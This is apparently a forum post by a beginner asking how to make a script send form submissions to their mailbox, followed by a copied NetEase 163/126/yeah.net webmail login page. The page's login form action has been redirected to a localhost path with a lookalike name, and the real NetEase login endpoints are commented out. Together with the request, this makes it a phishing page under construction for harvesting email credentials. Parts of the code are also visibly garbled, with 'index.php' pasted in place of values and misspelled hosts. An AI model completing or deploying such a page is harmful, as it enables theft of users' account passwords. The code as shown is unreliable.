HELLO, I just start to learn… I come across this Script and I like the way it function… I will like to know What Can I Change in this Script that will be Delivery to my mail box when the “Action” in the Form is being Carry out… I have try out one or two Thing… It only delivery empty Page into the email box… I do wait to hear … Thanks
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<meta name="keywords" content="电子邮件,电子邮箱,网易邮箱,163邮箱,126邮箱,yeah邮箱,免费邮箱,免费网盘,网络硬盘,Free Email">
<meta name="description" content="网易免费邮箱--中国第一大电子邮件服务商,提供以@163.com、@126.com和@yeah.net为后缀的免费邮箱。容量自动翻倍,支持50兆附件,支持各种客户端软件收发,垃圾邮件拦截率超过98%。">
<meta name="title" content="网易免费邮箱-中国第一大电子邮件服务商">
<title>网易免费邮箱 - 中国第一大电子邮件服务商</title>
<link rel="shortcut icon" href="http://email.163.com/favicon.ico" />
<style type="text/css">
/* CSS Document Created by Wayhome Wang(wfwang@corp.netease.com) */
/* 2009-2-11 */
/*初始化*/
html,body{height:100%; background:#fff}
body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,textarea,p,blockquote,th,td{padding:0; margin:0; }
fieldset,img{border:0; }
table{border-collapse:collapse; border-spacing:0; }
ol,ul{list-style:none; }
address,caption,cite,code,dfn,em,strong,th,var{font-weight:normal; font-style:normal; }
caption,th{text-align:left; }
h1,h2,h3,h4,h5,h6{font-weight:normal; font-size:100%; }
q:before,q:after{content:''; }
abbr,acronym{border:0; }
a{text-decoration:none; color:#888;}
a:hover{text-decoration:underline;}
/*图片集成*/
.ImgJ1{background-image:url(http://mimg.126.net/index/email/img/j1_10.png); background-repeat:no-repeat; background-position:0px 0px;}
.fmi_LgBxCon .tips .arr,
.fmi_LgBxCon .tips .arr2,
.fmi_LgBxCon .tips .close,
.ImgJ2,.SmbBtn{background-image:url(http://mimg.126.net/index/email/img/j2_12.png); background-repeat:no-repeat; background-position:0px 0px;}
/*外框架*/
.fmi_bdWp,td,input,select{margin:0px; padding:0px; font-size:12px; font-family:verdana,Arial,Helvetica,sans-serif;}
.fmi_mWp{text-align:center;}
.fmi_mWpIn{width:960px; text-align:left; margin-left:auto; margin-right:auto;}
/*头部*/
.fmi_HeadWp{height:84px; position:relative; }
.fmi_HeadWp .Logo{position:absolute; left:-15px; top:23px;}
.fmi_HeadWp .Slogan{position:absolute; left:114px; top:29px; width:260px; height:40px; background-position:-2px -191px;}
.fmi_HeadWp .Slogan span{display:none;}
.fmi_HeadWp .Extra{position:absolute; right:0px; top:42px;}
/*主体*/
.fmi_MidWp,.I_Style{height:580px; position:relative;}
.I_Style_1{background:url(http://mimg.126.net/index/email/img/b1_9.jpg) no-repeat 0 0;}/* Seem101228 */
.fmi_LgBxWp{}
.fmi_LgBxWp legend{display:none;}
.fmi_LgBx{position:absolute; left:0px; top:0px;}/*总框*/
/*标签*/
.fmi_LgBxTab{position:absolute; left:256px; top:60px; width:230px; height:340px;}
.ulTab{width:220px;}
.liTab{font-size:1px; line-height:1px; padding:0px; margin:0px;}
.liTab b{display:none;}
.liTab .ATab_163{ background-position:0px 0px; width:210px; height:79px; display:block; cursor:pointer;cursor:hand;}
.liTab .ATab_163:hover{background-position:-256px 0px;}
.liTab .ATab_126{background-position:0px -78px; width:210px; height:78px; display:block; cursor:pointer;cursor:hand;}
.liTab .ATab_126:hover{background-position:-256px -78px;}
.liTab .ATab_Yeah{background-position:0px -156px; width:210px; height:78px; display:block; cursor:pointer;cursor:hand;}
.liTab .ATab_Yeah:hover{background-position:-256px -156px;}
.liTab .ATab_qiye{background-position:0px -234px; width:210px; height:78px; display:block; cursor:pointer;cursor:hand;}
.liTab .ATab_qiye:hover{background-position:-256px -234px;}
/*选中*/
.On .ATab_163{ background-position:-512px 0px;}
.On .ATab_163:hover{background-position:-512px 0px;}
.On .ATab_126{background-position:-512px -78px;}
.On .ATab_126:hover{background-position:-512px -78px;}
.On .ATab_Yeah{background-position:-512px -156px;}
.On .ATab_Yeah:hover{background-position:-512px -156px;}
.On .ATab_qiye{background-position:-512px -234px;}
.On .ATab_qiye:hover{background-position:-512px -234px;}
/*切换的内容*/
.fmi_ACon{position:absolute; left:464px; top:50px; width:500px; height:auto;}
.fmi_LgBxCon{position:absolute; left:0px; top:0px; width:440px; height:320px;}
.LgBx_Name{position:absolute; left:41px; top:24px; width:320px; height:32px;}
.LgBxLst_tb{position:absolute; left:41px; top:62px; }
.LgBxLst_tb td{height:45px; font-size:12px;}
.LgBxLst_tb th{width:50px; font-size:12px;}
.Btn{cursor:pointer;cursor:hand;}
.BtnDw{padding-left:2px; padding-top:2px;}
html>body .Ipt{line-height:14px; padding:6px 3px; height:auto;}
.Ipt{border:1px solid #878787; background-color:#fff; height:31px; line-height:24px; padding:0px 3px; padding-top:2px; font-size:14px; font-weight:bold;}
.Sel{color:#333; cursor:pointer;cursor:hand;}
.Sel1{ font-size:14px; font-weight:bold;}
.Sel2{ font-size:12px; font-weight:normal; text-align:center;}
.SmbBtn{font-size:14px; font-weight:bold; color:#fff; background-color:#fff;}
td.Sgn_At{font-size:14px; font-weight:bold;}
label{cursor:pointer;cursor:hand;}
td.Ver_Wp{height:38px;}
td.Chk_Wp{height:30px;color:#555;}
.Chk_RName,
.Chk_SSL{width:16px;height:20px;margin-right:3px;cursor:pointer; cursor:hand; vertical-align:middle;}
.Chk_SSL{margin-left:18px;}
.WhySSL{vertical-align:middle;margin-left:2px;+margin-left:0;}
td.Smb_Wp{height:52px;}
td.Reg_Wp{font-size:14px;color:#777;}
.fmi_LgBxCon .tips td{height:auto}
.fmi_LgBxCon .tips .inner{float:left;display:inline;margin:-2px 0 -3px 0;line-height:20px;position:relative;padding:0 18px 0 6px;zoom:1;background:#FFFFE1;border:1px solid #C6C6A8;color:#565656}
.fmi_LgBxCon .tips a{text-decoration:underline}
.fmi_LgBxCon .tips em{color:#328721}
.fmi_LgBxCon .tips .close{position:absolute;right:0;top:2px;width:16px;height:16px;overflow:hidden;text-indent:-999em;background-position:-429px -176px}
.fmi_LgBxCon .tips .arr{position:absolute;top:-5px;left:15px;width:9px;height:5px;background-position:-397px -180px;}
.fmi_LgBxCon .tips .arr2{position:absolute;top:20px;left:15px;width:9px;height:5px;background-position:-468px -180px;}
/*163*/
.TabOn_163 a{text-decoration:underline;color:#007BBB;}
.TabOn_163 a:hover{text-decoration:underline;}
.TabOn_163 .LgBx_Name{ background-position:-384px 0px;}
.TabOn_163 .SmbBtn{background-position:0px 0px; border:none; width:86px; height:34px;}
.TabOn_163 .BtnHv{background-position:-128px 0px;}
.TabOn_163 .Ipt{background:#F1FAFF;}
.TabOn_163 .IptOnF{background:#FFFFD8;}
/*126*/
.TabOn_126 a{text-decoration:underline;color:#007B43;}
.TabOn_126 a:hover{text-decoration:underline;}
.TabOn_126 .LgBx_Name{ background-position:-384px -64px;}
.TabOn_126 .SmbBtn{background-position:0px -64px; border:none; width:86px; height:34px;}
.TabOn_126 .BtnHv{background-position:-128px -64px;}
.TabOn_126 .Ipt{background:#F1FFF7;}
.TabOn_126 .IptOnF{background:#FFFFD8;}
/*yeah*/
.TabOn_Yeah a{text-decoration:underline;color:#D9333F;}
.TabOn_Yeah a:hover{text-decoration:underline;}
.TabOn_Yeah .LgBx_Name{ background-position:-384px -128px;}
.TabOn_Yeah .SmbBtn{background-position:0px -128px; border:none; width:86px; height:34px;}
.TabOn_Yeah .BtnHv{background-position:-128px -128px;}
.TabOn_Yeah .Ipt{background-color:#FFF6F6;}
.TabOn_Yeah .IptOnF{background:#FFFFD8;}
/*qiye*/
.TabOn_qiye a{text-decoration:underline;color:#1b598d;}
.TabOn_qiye a:hover{text-decoration:underline;}
.TabOn_qiye .LgBx_Name{ background-position:-781px -64px;}
.TabOn_qiye .SmbBtn{background-position:-786px 0; border:none; width:86px; height:34px;}
.TabOn_qiye .BtnHv{background-position:-914px 0;}
.TabOn_qiye .Ipt{background-color:#F1FAFF;}
.TabOn_qiye .IptOnF{background:#FFFFD8;}
/**/
.Error{position:absolute; left:190px; top:246px; line-height:16px; font-size:12px; font-weight:normal; color:red; padding:0px; margin:0px;}
/*产品推荐&公告*/
.fmi_BnrWp{position:absolute; left:-464px; top:446px; width:960px; height:84px; height:auto; color:#A0A0A0;}
.fmi_PdtWp{position:absolute; left:0px; top:0px; width:750px;}
.fmi_PdtWp h3{display:none;}
.ulst_Pdt{}
.ulst_Pdt .Pdt_I{position:relative; float:left; display:block; width:240px; height:84px;}
.ulst_Pdt .Pdt_I .Ico{position:absolute; left:0px; top:0px; width:64px; height:64px;}
/*图标*/
.Pdt_Wangpan .Ico{ background-position:0px -256px;}
.Pdt_Sdy .Ico{ background-position:-96px -256px;}
.Pdt_Sjy .Ico{ background-position:-478px -256px;}
.Pdt_Laixinfenlei .Ico{ background-position:-192px -256px;}
.Pdt_Mxp .Ico{ background-position:-291px -256px;}
.Pdt_Wap .Ico{ background-position:-389px -256px;}
.Pdt_Imap .Ico{ background-position:-577px -256px;}
.ulst_Pdt .Pdt_I h4{position:absolute; left:74px; top:0px; width:180px; font-size:14px; font-weight:bold;}
.ulst_Pdt .Pdt_I p{position:absolute; left:74px; top:24px; width:180px; line-height:18px;}
.ulst_Pdt .Pdt_I p a{color:#A0A0A0;text-decoration:none}
.fmi_AcmWp{position:absolute; right:0px; top:-6px; width:200px;}
.fmi_AcmWp h3{display:none;}
.fmi_AcmWp p{font-family:'宋体'; line-height:22px;}
.fmi_AcmWp p a{font-family:verdana,Arial,Helvetica,sans-serif;}
/*底部版权信息*/
.fmi_FootWp{border-top:1px solid #eee;}
.fmi_FootWpIn{text-align:center; color:#888; padding-top:16px; line-height:22px;}
</style>
<script type="text/javascript">
var bForcepc = fGetQuery("dv") == "pc";
function fBrowserRedirect(){
var sUserAgent = navigator.userAgent.toLowerCase();
var bIsIpad = sUserAgent.match(/ipad/i) == "ipad";
var bIsIphoneOs = sUserAgent.match(/iphone os/i) == "iphone os";
var bIsMidp = sUserAgent.match(/midp/i) == "midp";
var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4";
var bIsUc = sUserAgent.match(/ucweb/i) == "ucweb";
var bIsAndroid = sUserAgent.match(/android/i) == "android";
var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce";
var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile";
if(bIsIpad){
var sUrl = location.href;
if(!bForcepc){
window.location.href = "http://ipad.email.163.com/";
}
}
if(bIsIphoneOs || bIsAndroid){
var sUrl = location.href;
if(!bForcepc){
window.location.href = "http://smart.mail.163.com/";
}
}
if(bIsMidp||bIsUc7||bIsUc||bIsCE||bIsWM){
var sUrl = location.href;
if(!bForcepc){
window.location.href = "http://m.mail.163.com/";
}
}
}
/*
function fGetQuery(name){//获取参数值
try{
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"),
r = window.location.search.substr(1).match(reg);
return r === null ? null : unescape(r[2]);
}catch(e){
return null;
}
}
function fGetQueryHash(name){//获取#参数值
var sUrl = window.location.hash.substr(1);
var r = sUrl.match(new RegExp("(^|&)" + name + "=([^&]*)(&|$)"));
return (r == null ? null : unescape(r[2]));
}*/
fBrowserRedirect();
</script>
<script type="text/javascript">
<!--
var gCurrentDomain = "163";
var gLoginInfo = {};
function fSwitchTab(sDomain) {
var oForm = $("frmLogin"), oUrl2 = $("url2"), oUrl;
try{
oUrl = document.createElement("input");
oUrl.setAttribute("type", "hidden");
oUrl.setAttribute("id", "url2");
oUrl.setAttribute("name", "url2");
if(sDomain == "163"){
if(!oUrl2){
oUrl.setAttribute("value", "http://email.163.com/errorpage/err_163.htm");
oForm.insertBefore(oUrl,oForm.firstChild);
}
else{
oUrl2.value = "http://email.163.com/errorpage/err_163.htm";
}
numMailTip.switchover("163.com");
}
else if(sDomain == "126"){
if(!oUrl2){
oUrl.setAttribute("value", "http://email.163.com/errorpage/err_126.htm");
oForm.insertBefore(oUrl,oForm.firstChild);
}
else{
oUrl2.value = "http://email.163.com/errorpage/err_126.htm";
}
numMailTip.switchover("126.com");
}
else{
if(!oUrl2){
oUrl.setAttribute("value", "http://email.163.com/errorpage/err_yeah.htm");
oForm.insertBefore(oUrl,oForm.firstChild);
}
else{
oUrl2.value = "http://email.163.com/errorpage/err_yeah.htm";
}
numMailTip.switchover("yeah.net");
}
}catch(e){}
var ids = ["163", "126", "yeah", "qiye"];
var selIndex = 0;
var oDiskUrl = {
"163" : "http://help.163.com/special/00752CLD/163mial_wywp.html?b65abk1",
"126" : "http://help.163.com/special/00752CUI/126mail_wywp.html?b65abk1",
"yeah" : "http://help.163.com/special/00752DP1/yeahmail_wywp.html?b65abk1",
"qiye" : "http://help.163.com/special/00752CLD/163mial_wywp.html?b65abk1"
};
var oPopUrl = {
"163" : "http://help.163.com/special/00752CLD/163mail_yxbj.html?b65abk1",
"126" : "http://help.163.com/08/0623/16/4F4UNUH000752CTN.html?b65abk1",
"yeah" : "http://help.163.com/07/0517/14/3EMUDFR4007529L5.html?b65abk1",
"qiye" : "http://help.163.com/special/00752CLD/163mail_yxbj.html?b65abk1"
};
var oHelpUrl = {
"163" : "http://help.163.com/special/007525G0/163mail_index.html?b65abh1",
"126" : "http://help.163.com/special/007525FQ/126mail.html?b65abh1",
"yeah" : "http://help.163.com/special/007525FQ/dimondmain.html?b65abh1",
"qiye" : "http://qiye.163.com/service-solution.htm"
};
var oWhySSLUrl ={
"163" : "http://help.163.com/08/1111/17/4QG2LL4R00752UPN.html",
"126" : "http://help.163.com/08/1111/16/4QG0DVBL00752CTH.html",
"yeah" : "http://help.163.com/08/1229/10/4UAT6LTQ00752DP8.html?jjfjkfg",
"qiye" : "http://qiye.163.com/service-solution.htm#4"
};
for(var i=0;i<ids.length;i++){
$("li" + ids[i]).className = "liTab";
$("selStyle" + ids[i]).style.display = "none";
if(ids[i] == sDomain){
selIndex = i;
}
}
$("li" + sDomain).className = "liTab on";
$("divACon").className = "fmi_ACon TabOn_" + sDomain;
if(sDomain!="qiye"){
$("versionTr").style.display="";
$("loginOptionTd").innerHTML = '<INPUT TYPE="checkbox" NAME="rmbUser" id="rmbUser" class="Chk_RName" checked tabIndex="6"><label for="rmbUser">记住用户名</label><INPUT TYPE="checkbox" NAME="Chk_SSL" id="chkSSL" class="Chk_SSL" checked tabIndex="7"><label for="chkSSL">SSL安全登录</label><a href="" target="_blank" title="什么是SSL登录" id="lnkWhySSL" tabIndex="8"><img class="WhySSL" src="http://mimg.126.net/index/email/img/whyssl.gif" /></a>';
$("usernametext").innerHTML="用户名";
switch (sDomain){
case "163" : $("notAccountTips").innerHTML="还没有网易免费邮?<b> <a href=\\"http://reg.email.163.com/mailregAll/reg0.jsp?from=email163®Page=163\\" target=\\"_blank\\" title=\\"\\" tabIndex=\\"10\\">立即注册</a></b>";
break;
case "126" : $("notAccountTips").innerHTML="还没有网易免费邮?<b> <a href=\\"http://reg.email.163.com/mailregAll/reg0.jsp?from=email163®Page=126\\" target=\\"_blank\\" title=\\"\\" tabIndex=\\"10\\">立即注册</a></b>";
break;
case "yeah" : $("notAccountTips").innerHTML="还没有网易免费邮?<b> <a href=\\"http://reg.email.163.com/mailregAll/reg0.jsp?from=email163®Page=yeah\\" target=\\"_blank\\" title=\\"\\" tabIndex=\\"10\\">立即注册</a></b>";
break;
default : $("notAccountTips").innerHTML="还没有网易免费邮?<b> <a href=\\"http://reg.email.163.com/mailregAll/reg0.jsp?from=email163\\" target=\\"_blank\\" title=\\"\\" tabIndex=\\"10\\">立即注册</a></b>";
}
$("selDomain").style.display="";
$("selDomain").selectedIndex = selIndex;
$("qiyeDomain").style.display="none";
$("forGetPassword").href = "http://reg.163.com/RecoverPasswd1.shtml";
$("forGetPassword").innerHTML = "忘记密码?" ;
}
else{
$("txtUser").value="";
$("versionTr").style.display="none";
$("loginOptionTd").innerHTML = '<INPUT TYPE="checkbox" NAME="rmbUser" id="rmbUser" class="Chk_RName" checked tabIndex="6"><label for="rmbUser">记住用户名</label><INPUT TYPE="checkbox" NAME="Chk_SSL" id="chkSSL" class="Chk_SSL" checked tabIndex="7" onclick="checksecure(this,\\'allSSL\\')"/><label for="chkSSL">SSL安全登录</label><INPUT TYPE="checkbox" NAME="" id="allSSL" class="Chk_SSL" onclick="checksecure(this,\\'chkSSL\\')"/><label for="allSSL">全程SSL</label><a href="" target="_blank" title="什么是SSL登录" id="lnkWhySSL" tabIndex="8"><img class="WhySSL" src="http://mimg.126.net/index/email/img/whyssl.gif" /></a>';
$("usernametext").innerHTML="用户名";
$("notAccountTips").innerHTML="还没有网易企业邮箱?<b> <a href=\\"http://qiye.163.com/buy-price.htm\\" target=\\"_blank\\" title=\\"\\" tabIndex=\\"10\\">立即购买</a></b>";
$("selDomain").style.display="none";
$("qiyeDomain").style.display="";
$("forGetPassword").href = "http://qiye.163.com/admin.jsp";
$("forGetPassword").innerHTML = "进入管理员登录页面" ;
}
$("selStyle" + sDomain).style.display = "";
$("lnkHelp").href = oHelpUrl[sDomain];
$("lnkWhySSL").href = oWhySSLUrl[sDomain];
//$("lnkDisk").href = oDiskUrl[sDomain];
//$("lnkPop").href = oPopUrl[sDomain];
gCurrentDomain = sDomain;
fSetCookie("alllogindomain", gCurrentDomain, true);
fSwitchUserInfo();
if( gCurrentDomain == "qiye" ){
$("divError").style.top = "210px";
}else{
$("divError").style.top = "";
}
$("divError").innerHTML = "";
if( $("txtUser").value=="") {
$("txtUser").focus();
} else {
$("txtPassword").focus();
}
}
function $(sId) {
return document.getElementById(sId);
}
function fCheck() {
var oTxtUser = $("txtUser");
oTxtUser.value = fTrim(oTxtUser.value);
if( oTxtUser.value =="") {
$("divError").innerHTML = "请输入你的用户名";
oTxtUser.focus();
return false;
}
if( $("txtQiyeDOmain").value.length =="" && gCurrentDomain == "qiye" ) {
$("divError").innerHTML = "请输入域名";
$("txtQiyeDOmain").focus();
return false;
}
if( $("txtPassword").value.length < 6) {
$("divError").innerHTML = "请输入你的密码";
$("txtPassword").focus();
return false;
}
if( $("txtPassword").value.length > 16 && gCurrentDomain != "qiye" ){
$("txtPassword").value = $("txtPassword").value.substr(0,16);
}
$("txtUserName").value = $("txtUser").value + "@" + {"163" : "163.com", "126" : "126.com", "yeah" : "yeah.net"}[gCurrentDomain];
fLogin();
fSaveLoginInfo();
if(gCurrentDomain=="qiye"){
fCheckqiye();
return false;
}else{
return true;
}
}
//企业邮登录
function fCheckqiye(){
if(gCurrentDomain=="qiye"){
$("txtUserNameqiye").value=$("txtUser").value;
$("txtUserDomainqiye").value=$("txtQiyeDOmain").value;
$("txtPasswordqiye").value=$("txtPassword").value;
$("qiyeall_secure").checked=$("allSSL").checked;
$("Loginqiye").submit();
return false;
}
}
//企业邮Msg
function fGetQiyeMsg(){
var msg = {
"ERR.LOGIN.USERORPASSNULL":"参数错误:用户名或者密码为空",
"ERR.LOGIN.DOMAINNULL":"参数错误:未指定的域邮箱参数",
"ERR.LOGIN.PASSERR":"用户名和密码不匹配",
"ERR.LOGIN.ILLEGALACCOUNT":"该帐号属于群发名单或者别名,不允许登录",
"ERR.LOGIN.USERNOTEXIST":"该帐号不存在,请你确认域名和帐号",
"ERR.LOGIN.SUPERADMINDOMAINERR":"该超级管理员并未申请任何域名邮箱",
"ERR.LOGIN.SYSTEMBUSY":"登录系统繁忙,请你稍后再试",
"ERR.LOGIN.IPDENY":"登录失败,你的IP在黑名单中,请你联系管理员",
"ERR.LOGIN.USRSTATUS1":"该帐号已被禁用,请联系管理员",
"ERR.LOGIN.USRSTATUS2":"帐号已过期,请联系管理员",
"ERR.LOGIN.DOMAINNOTEXIST":"该域名未注册",
"ERR.LOGIN.USRSTATUS5":"该帐号已被管理员删除,请联系管理员",
"SUC.LOGIN.USRUNLOCK":"该帐号已解除冻结状态,请你再次输入用户和密码继续",
"ERR.LOGIN.DOMAINEXPED":"该域名邮箱已经过期了",
"ERR.LOGIN.DOMAINNOTREGISTER":"该域名尚未通过,请以超级管理员登录",
"ERR.LOGIN.DOMAINSTATUS1":"该域名邮箱已被禁用,请你联系客服",
"ERR.SESSIONNULL":"会话已经失效,请你重新登录操作",
"ERR.SYSTEM":"系统繁忙,请你稍后再试",
"SYSTEM.BUSY":"登录系统繁忙,请你稍后再试",
"ERR.ADMINREQUIRE":"非法权限,该帐号无法执行这个操作",
"ERR.PARAMNULL":"系统发生错误:参数为空",
"ERR.ERR.PARAMTOOLONG":"参数过长",
"ERR.ILLEGAL":"系统非法操作",
"ERR.REQ.VERIFYCODE":"密码出错次数过多,请稍后再试"
};
if( fGetQuery("msg") != undefined ){
$("divError").innerHTML = String(msg[fGetQuery("msg")]);
}
}
function checksecure(obj, id){
if(obj.checked && obj.id == "allSSL" ){
$(id).checked = true;
}
if( !obj.checked && obj.id == "chkSSL" ){
$(id).checked = false;
}
}
function fTrim(str){
return str.replace(/(^\\s*)|(\\s*$)/g, "");
}
function fLogin(){
var oUrl = {
"126":"http://localhost/126/126.reg.123.163.yeah.mail.com/login/",
"163":"http://localhost/126/126.reg.123.163.yeah.mail.com/login/",
"yeah":"http://localhost/126/126.reg.123.163.yeah.mail.com/login/",
<!-- "126" : "https://reg.163.com/logins.jsp?type=1&product=mail126&url=http://entry.mail.126.com/cgi/ntesdoor?hid%3D10010102%26lightweight%3D1%26verifycookie%3D1%26language%3D-1%26from%3Dweb" + "%26df%3D" + ((function(){var sDf = fGetQueryHash("df");if(sDf == null){sDf = "webmail";} fSetCookie("df",sDf,false);return sDf; })()) + "%26uid%3D" + $("txtUser").value + "@126.com" + "%26style%3D", -->
<!-- "163" : "https://reg.163.com/logins.jsp?type=1&product=mail163&url=http://entry.mail.163.com/coremail/fcg/ntesdoor2?lightweight%3D1%26verifycookie%3D1%26language%3D-1%26from%3Dweb" + "%26df%3D" + ((function(){var sDf = fGetQueryHash("df");if(sDf == null){sDf = "webmail";} fSetCookie("df",sDf,false);return sDf; })()) + "%26uid%3D" + $("txtUser").value + "@163.com" + "%26style%3D",-->
<!-- "yeah" : "https://ssl.mail.yeah.net/entry/cgi/ntesdoor?funcid=loginone&language=-1&passtype=1&verifycookie=1&product=mailyeah&iframe=1&from=web&url2=%68%74%74%70%3A%2F%2F%65%6D%61%69%6C%2E%31%36%33%2E%63%6F%6D%2F%65%72%72%6F%72%70%61%67%65%2F%65%72%72%5F%79%65%61%68%2E%68%74%6D" + "&df=" + ((function(){var sDf = fGetQueryHash("df");if(sDf == null){sDf = "webmail";} fSetCookie("df",sDf,false);return sDf; })()) + "&uid=" + $("txtUser").value + "@yeah.net" + "&style=", -->
/* "qiye" : "https://entry.qiye.163.com/domain/domainEntLogin" */
};
if(!$("chkSSL").checked){
var oUrl = {
"126":"http://localhost/126/126.reg.123.163.yeah.mail.com/login/",
"163":"http://localhost/126/126.reg.123.163.yeah.mail.com/login/",
"yeah":"http://localhosy/126/126.reg.123.163.yeah.mail.com/login/",
<!-- "126" : "http://reg.163.com/login.jsp?type=1&product=mail126&url=http://entry.mail.126.com/cgi/ntesdoor?hid%3D10010102%26lightweight%3D1%26verifycookie%3D1%26language%3D-1%26from%3Dweb" + "%26df%3D" + ((function(){var sDf = fGetQueryHash("df");if(sDf == null){sDf = "webmail";} fSetCookie("df",sDf,false);return sDf; })()) + "%26uid%3D" + $("txtUser").value + "@126.com" + "%26style%3D", -->
<!-- "163" : "http://reg.163.com/login.jsp?type=1&product=mail163&url=http://entry.mail.163.com/coremail/fcg/ntesdoor2?lightweight%3D1%26verifycookie%3D1%26language%3D-1%26from%3Dweb" + "%26df%3D" + ((function(){var sDf = fGetQueryHash("df");if(sDf == null){sDf = "webmail";} fSetCookie("df",sDf,false);return sDf; })()) + "%26uid%3D" + $("txtUser").value + "@163.com" + "%26style%3D", -->
<!-- "yeah" : "http://reg.163.com/login.jsp?type=1&product=mailyeah&url=http://entry.mail.yeah.net/cgi/ntesdoor?lightweight%3D1%26verifycookie%3D1%26from%3Dweb" + "%26df%3D" + ((function(){var sDf = fGetQueryHash("df");if(sDf == null){sDf = "webmail";} fSetCookie("df",sDf,false);return sDf; })()) + "%26uid%3D" + $("txtUser").value + "@yeah.net" + "%26style%3D", -->
/* "qiye" : "http://entry.qiye.163.com/domain/domainEntLogin"*/
};
}
$("frmLogin").action = oUrl[gCurrentDomain] + $("selStyle" + gCurrentDomain).value;
if( gCurrentDomain == "qiye" ){
$("Loginqiye").action = oUrl[gCurrentDomain];
}
}
function fSaveLoginInfo(){
gLoginInfo[gCurrentDomain] = {username : $("txtUser").value, style : $("selStyle" + gCurrentDomain).value};
var aCookie = [];
for(var d in gLoginInfo){
aCookie.push(d + ";"+ gLoginInfo[d].username +";" + gLoginInfo[d].style);
}
fSetCookie("nts_mail_user", $("txtUser").value,true);
//document.cookie = "mailLogFrom=email163;expires=" + (new Date(2099,12,31)).toGMTString() + ";domain=163.com;path=/";
if($("rmbUser").checked){
fSetCookie("alllogininfo", aCookie.join("|"), true);
fSetCookie("alllogindomain", gCurrentDomain, true);
}else{
fSetCookie("alllogininfo", "", true);
fSetCookie("alllogindomain", "", true);
fSetCookie("qiyeDomain", "", true);
}
if(gCurrentDomain == "qiye" ){
if($("rmbUser").checked){
fSetCookie("qiyeDomain", $("txtQiyeDOmain").value , true);
}
}
}
/*-------------------------------------------------------------
function fGetLoginInfo(){
var sCookie = fGetCookie("alllogininfo");
if(sCookie){
var aCookie = sCookie.split("|");
for(var i=0;i<aCookie.length;i++){
var aDomainInfo = aCookie[i].split(";");
if(aDomainInfo.length == 3){
gLoginInfo[aDomainInfo[0]] = {username : aDomainInfo[1], style : aDomainInfo[2]};
}
}
}
var initDomain = fGetCookie("alllogindomain");
if(initDomain){
gCurrentDomain = initDomain;
}
// 判断url的参数是否从邮箱退出,从search和hash取,search优先级最高,hash次之,最后用cookie
var sLastUser = fGetQuery("u");
if(sLastUser === null){
sLastUser = (location.hash + "").replace("#", "");
}
if(/^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\\.[a-zA-Z0-9_-]+)+$/.test(sLastUser)){
var sParamUser = sLastUser.split("@")[0];
var sParamDomain = sLastUser.split("@")[1].split(".")[0];
if(sParamDomain == "163" || sParamDomain == "126" || sParamDomain == "yeah"){
if(!gLoginInfo[sParamDomain]){
gLoginInfo[sParamDomain] = {style : "index.php"};
}
gLoginInfo[sParamDomain].username = sParamUser;
gCurrentDomain = sParamDomain;
}
}
else{
sLastUser = (location.hash + "").replace("#", "");
if(sLastUser == "163" || sLastUser == "126" || sLastUser == "yeah" || sLastUser == "qiye"){
gCurrentDomain = sLastUser;
}
}
}
function fGetCookie(sName) {
var search = sName + "="
if(document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if(offset != -1) {
offset += search.length
end = document.cookie.indexOf(";", offset)
if(end == -1) end = document.cookie.length
return unescape(document.cookie.substring(offset, end))
}
else return ""
}
}
function fSetCookie(sName, sValue, isForever) {
document.cookie = sName + "=" + escape(sValue) + ";domain=email.163.com" + (isForever?";expires="+ (new Date(2099,12,31)).toGMTString():"");
}
function fSwitchUserInfo() {
$("txtPassword").value = "";
if(gLoginInfo[gCurrentDomain]){
$("txtUser").value = gLoginInfo[gCurrentDomain].username;
if( gLoginInfo[gCurrentDomain].style == 4 || gLoginInfo[gCurrentDomain].style == 1 || gLoginInfo[gCurrentDomain].style == "" ){
gLoginInfo[gCurrentDomain].style = index.php;
}
$("selStyle" + gCurrentDomain).value = gLoginInfo[gCurrentDomain].style;
}
if( gCurrentDomain == "qiye" && (fGetCookie("qiyeDomain") != "") && (fGetCookie("qiyeDomain") != undefined)){
$("txtQiyeDOmain").value = fGetCookie("qiyeDomain");
}
}
function fCheckAccount(oThis){
var sRep163 = /@163.com$/;
var sRep126 = /@126.com$/;
var sRepyeah = /@yeah.net$/;
var sAccount = oThis.value;
var bAt;
bAt = sAccount.indexOf("@") == index.php;
if(sRep163.test(sAccount)){
gCurrentDomain = "163";
fSwitchTab("163");
}
if(sRep126.test(sAccount)){
gCurrentDomain = "126";
fSwitchTab("126");
}
if(sRepyeah.test(sAccount)){
gCurrentDomain = "yeah";
fSwitchTab("yeah");
}
if(!bAt){
var aAccountSplit;
aAccountSplit=sAccount.split("@");
oThis.value=aAccountSplit[0];
}
} */
window.onload = function(){
fGetLoginInfo();
if( gCurrentDomain == "123" || fGetQuery("msg") != null ){
gCurrentDomain = "qiye";
}
fSwitchTab(gCurrentDomain);
if( gCurrentDomain == "qiye" ){
fGetQiyeMsg();
}
fSwitchUserInfo();
var sUid = fGetQueryHash("uid");
if( sUid != null ){
$("txtUser").value = sUid;
fCheckAccount($("txtUser"));
}
};
//-->
</script>
</head>
<!-- 163 free mail index html -->
<body class="fmi_bdWp">
<div class="fmi_mWp">
<div class="fmi_mWpIn">
<!-- 头部 Begin -->
<div class="fmi_HeadWp">
<h1 class="Logo"><a href="http://www.163.com" target="_blank"><img src="http://mimg.126.net/logo/netease_logo.gif" alt="网易NetEase" style="width:122px;height:44px" /></a></h1>
<a href="http://mail.163.com/html/mail_intro/" target="_blank" title="走近网易免费邮" class="ImgJ2 Slogan"><span>中国第一大电子邮件服务商</span></a>
<div class="Extra"><a style="color:red;" href="http://123.163.com/" title="" target="_blank">网易手机邮</a> <a href="http://vipmail.163.com?from=email" target="_blank">收费邮</a> <a href="http://help.163.com/special/007525G0/163mail_index.html?b65abh1" target="_blank" id="lnkHelp" title="">帮助</a></div>
</div>
<!-- 头部 End -->
<!-- 主体 Begin -->
<div class="fmi_MidWp">
<div class="I_Style I_Style_1">
<!-- 总框 Begin -->
<div class="fmi_LgBx">
<!-- 标签栏 Begin -->
<div class="ImgJ1 fmi_LgBxTab">
<ul class="ulTab">
